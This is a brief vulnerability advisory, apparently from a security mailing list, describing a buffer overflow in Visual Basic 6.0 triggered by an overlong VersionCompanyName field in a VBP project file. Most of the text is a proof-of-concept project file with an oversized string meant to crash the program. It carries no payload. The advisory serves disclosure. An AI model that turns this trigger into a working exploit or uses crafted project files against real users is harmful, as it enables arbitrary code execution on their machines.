[EXPL] Visual Basic VersionCompanyName Buffer Overflow

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Visual Basic VersionCompanyName Buffer Overflow
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SUMMARY

A vulnerability in the way Visual Basic 6.0 handles the VersionCompanyName
field allows attackers that can trick a user into opening a crafted VBP
file to cause the program to execute arbitrary code.

DETAILS

Proof of Concept:
By supplying the following VBP file to Visual Basic 6.0 it is possible to
cause the program to overflow its internal buffer.

Type=Exe
Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\..\WINDOWS\system32\stdole2.tlb#OLE Automation
Reference=*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#..\..\..\..\..\WINDOWS\system32\scrrun.dll#Microsoft Scripting Runtime
Form=Form1.frm
Startup="Form1"
HelpFile=""
Command32=""
Name="Project1"
HelpContextID="0"
CompatibleMode="0"
MajorVer=1
MinorVer=0
RevisionVer=0
AutoIncrementVer=0
ServerSupportFiles=0
VersionCompanyName="AAAAAAA<multiple A>AAAAAAAAAA"
CompilationType=0
OptimizationType=0
FavorPentiumPro(tm)=0
CodeViewDebugInfo=0
NoAliasing=0
BoundsCheck=0
OverflowCheck=0
FlPointCheck=0
FDIVCheck=0
UnroundedFP=0
StartMode=0
Unattended=0
Retained=0
ThreadPerObject=0
MaxNumberOfThreads=1

[MS Transaction Server]
AutoRefresh=1

ADDITIONAL INFORMATION

The information has been provided by <mailto:umz32.dll@gmail.com> UmZ.

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